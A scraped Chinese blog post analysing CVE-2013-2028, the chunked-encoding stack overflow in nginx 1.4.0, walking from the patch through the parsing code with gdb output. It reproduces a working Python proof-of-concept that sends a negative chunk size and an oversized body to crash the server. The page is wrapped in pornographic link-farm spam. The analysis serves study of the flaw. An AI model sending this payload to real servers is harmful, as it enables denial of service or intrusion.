日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

【安全漏洞】从补丁追溯漏洞触发路径

發布時間:2025/3/21 编程问答 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 【安全漏洞】从补丁追溯漏洞触发路径 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

背景

操作系統:ubuntu 18.04 64bit

漏洞軟件:nginx-1.4.0

【查看資料】

1. 漏洞補丁信息

從補丁可以認識一個漏洞的觸發源。

查看github中的補丁信息Fixed chunk size parsing. · nginx/nginx@818807d (github.com)如下:

if (ctx->size < 0 || ctx->length < 0) {goto invalid;}return rc;

可以看到補丁中在/src/http/ngx_http_parse.c的ngx_http_parse_chunked函數返回值中增加了對變量ctx->length和ctx->size的負值判斷

查看ctx變量的結構體定義,

struct ngx_http_chunked_s {ngx_uint_t state;off_t size;off_t length; };`在這里插入代碼片`

可以看到size和length的類型變量是off_t,而off_t對應了long int,是一個有符號的變量(記住這一點,很重要)。

2. 漏洞觸發路徑分析

從上一步中可以得到漏洞的根源在于/src/http/ngx_http_parse.c的ngx_http_parse_chunked函數,與負值的變量ctx->length和ctx->size有關,現在開始追蹤這兩個變量的后續流向。

2.1 漏洞復現
POC信息

從互聯網可以找到該漏洞的POC如下:

import sockethost = "127.0.0.1" ip='127.0.0.1'raw = '''GET / HTTP/1.1\r\nHost: %s\r\nTransfer-Encoding: chunked\r\nConnection: Keep-Alive\r\n\r\n''' % (host)s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, 80))data1 = raw data1 += "f000000000000060" + "\r\n"print data1 s.send(data1)s.send("B" * 6000) s.close()

這個POC會發送兩次TCP請求數據,第一次是一個HTTP請求:

GET / HTTP/1.1 Host: 127.0.0.1 Transfer-Encoding: chunked Connection: Keep-Alivef000000000000060

第二次是一個超長的"B"字符串。

chunked HTTP請求

第一個HTTP請求的特殊之處在于這是一個分塊傳輸的請求。在請求體中,在每一個分塊的開頭需要添加當前分塊的長度,以十六進制的形式表示,后面緊跟著 ‘\r\n’ ,之后是分塊本身,后面也是’\r\n’

漏洞復現

在shell中找到nginx工作進程的pid,并使用gdb 掛載調試 ,并在patch函數下斷點。

osboxes@osboxes:~$ ps aux |grep nginx root 2081 0.0 0.0 21860 1908 ? Ss 11:14 0:00 nginx: master process ./nginx -c conf/nginx.conf nobody 7185 0.0 0.0 22256 2196 ? S 17:32 0:00 nginx: worker process osboxes 7406 0.0 0.0 14436 1008 pts/0 S+ 19:13 0:00 grep --color=auto nginx osboxes@osboxes:~$ sudo gdb -p 7185 pwndbg> b ngx_http_parse_chunked Breakpoint 1 at 0x5599fb464871: file src/http/ngx_http_parse.c, line 1974. pwndbg> c Continuing.

執行POC,并查看函數調用棧可以看到如下:

那我們就依照源碼來分析漏洞的觸發路徑

1.ngx_http_parse_chunked函數解析HTTP中的塊大小

查看ngx_http_parse_chunked函數,可以看到該函數的主要功能為解析HTTP請求體中的chunk信息。

ngx_int_t ngx_http_parse_chunked(ngx_http_request_t *r, ngx_buf_t *b,ngx_http_chunked_t *ctx) { ...state = ctx->state; ...rc = NGX_AGAIN; ...switch (state) {...case sw_chunk_size:if (ch >= '0' && ch <= '9') {ctx->size = ctx->size * 16 + (ch - '0');break;}c = (u_char) (ch | 0x20);if (c >= 'a' && c <= 'f') {ctx->size = ctx->size * 16 + (c - 'a' + 10);break;}...}data:switch (state) { ...case sw_chunk_data:ctx->length = ctx->size + 4 /* LF "0" LF LF */;break; ...return rc; ... }

當遇到HTTP請求體中的塊大小,即f000000000000060時,會將字符串解析為對應的十六進制數字,并保存在ctx->size中。注意,由于是有符號的,ctx的值是為負數的。之后ctx->size的值會賦值到ctx->lenth中,也就是:

ctx->lenth= ctx->size+4= parseLong('f000000000000060')+4= -1152921504606846880+4= -1152921504606846876

之后,函數返回,返回值為rc=NGX_AGIN

2.ngx_http_discard_request_body_filter將值進一步向上傳遞

根據返回值rc == NGX_AGAIN, 這個負值會進一步傳遞到r->headers_in.content_length_n 變量中,注意這也是一個off_t類型的,也就是它也是**負數。**也就是

r->headers_in.content_length_n = rb->chunked->length= -1152921504606846876

之后函數返回 ,返回值為NGX_OK。

3.ngx_http_discard_request_body簡單跳轉

在ngx_http_discard_request_body函數中, 控制流返回后進入到另一個子函數中。

4.ngx_http_read_discarded_request_body棧溢出

逃脫ngx_min檢查

在ngx_http_read_discard_request_body函數中本來是有長度范圍檢查ngx_min,但是正如我們前面所說的,長度為負數,所以這個檢查就被繞過了

size 被賦予超大值

在函數中size_t是一個無符號的long int, 這樣size就被意外的賦值為一個超大的數值。也就是

(size_t) size= r->headers_in.content_length_n= 17293822569102704740

recv 將超長的輸入寫入局部變量buffer

在解析size之后,nginx 會嘗試再次讀取輸入,

n = r->connection->recv(r->connection, buffer, size);

此時,系統會嘗試size=17293822569102704740大小的輸入寫入到局部變量buffer中,由此造成了棧溢出。

3. 漏洞路徑

4. 漏洞數據流

總結整理數據的流動方向如下圖:

總結

這個漏洞的原因在于,帶符號整數在轉為無符號數時會變為極大的值,從而導致nginx從socket中讀取了超長的值到局部變量中。

漏洞的觸發條件為三個:

參考:Nginx棧溢出分析 - CVE-2013-2028 - l3m0n - 博客園 (cnblogs.com)

關注我,持續更新!!!

私我獲取【網絡安全學習資料·攻略

總結

以上是生活随笔為你收集整理的【安全漏洞】从补丁追溯漏洞触发路径的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 久久久久久黄色片 | 边添小泬边狠狠躁视频 | 免费大片黄在线观看视频网站 | 一区二区三区视频在线观看免费 | 久久人人爽人人爽人人片av免费 | 另类三区 | 欧美黑粗硬| 日韩欧美一区二区三区在线 | 一级片免费看视频 | 久久极品视频 | 久久加久久 | 精品欧美一区二区精品少妇 | 韩国三级做爰高潮 | 欧美色香蕉 | 欧美成人一区二区三区片免费 | 国产精品亚州 | 九色视频在线播放 | 中文视频一区 | 波多野结衣在线 | 日本一区精品视频 | 波多野结衣中文字幕久久 | 欧美日韩一 | 被扒开腿一边憋尿一边惩罚 | 国产黄片毛片 | 成年人在线观看视频免费 | 欧美精品1区2区 | 五月激情综合网 | 国产成人精品免费网站 | 你懂的网站在线 | 国产精品美女自拍视频 | 国产乱子伦精品视频 | 亚洲天堂伦理 | 欧美精品第二页 | 黄色国产一区二区 | 干美女视频 | 内射后入在线观看一区 | 性xxxxx大片免费视频 | 尤物视频一区 | 毛片最新网址 | 亚洲一级片av | 天天干天天操天天 | 黑人一区| 日韩在线观看一区 | 国产九色在线 | 9久久9毛片又大又硬又粗 | 亚洲精品一区二三区 | 五十路中文字幕 | 91久久精品日日躁夜夜躁欧美 | 男女洗澡互摸私密部位视频 | 浮生影视在线观看免费 | 欧美日韩一区二区精品 | 亚洲精品喷潮一区二区三区 | 成人av电影免费观看 | 国产精品久久久久久久一区探花 | 国产精品无码电影在线观看 | 尤物自拍| 无码国产精品96久久久久 | 免费高清视频一区二区三区 | 污漫在线观看 | 国产欧美视频一区二区 | 中文字幕精品在线观看 | 美女一区二区三区四区 | 日本黄色xxxx | 绿帽视频 | 激情内射亚洲一区二区三区爱妻 | 奇米影视在线观看 | 国产又粗又猛视频 | 丰满少妇高潮在线观看 | 精品国产九九九 | 中文字字幕在线中文乱码 | 麻豆av毛片 | 国产一线二线三线在线观看 | 免费不卡毛片 | 大波大乳videos巨大 | 超碰狠狠干 | 在线毛片观看 | 天堂在线中文在线 | 男人插女人视频网站 | 欧美日韩一二三 | www国产精品内射熟女 | 九九碰| 第一色影院| 在线观看福利网站 | 日韩精品人妻中文字幕有码 | 91极品蜜桃臀 | 久久久成人精品视频 | www.男女| 欧美一级特黄aaaaaa | 无码人妻精品一区二区三区99不卡 | 国产欧美二区 | 丁香婷婷激情 | 国产性猛交╳xxx乱大交一区 | 亚洲成人一级片 | 色啦啦视频 | 亚洲爽爽网 | 欧美激情免费在线 | 成人在线免费网址 | 久久久久99精品成人片直播 | 高清二区 |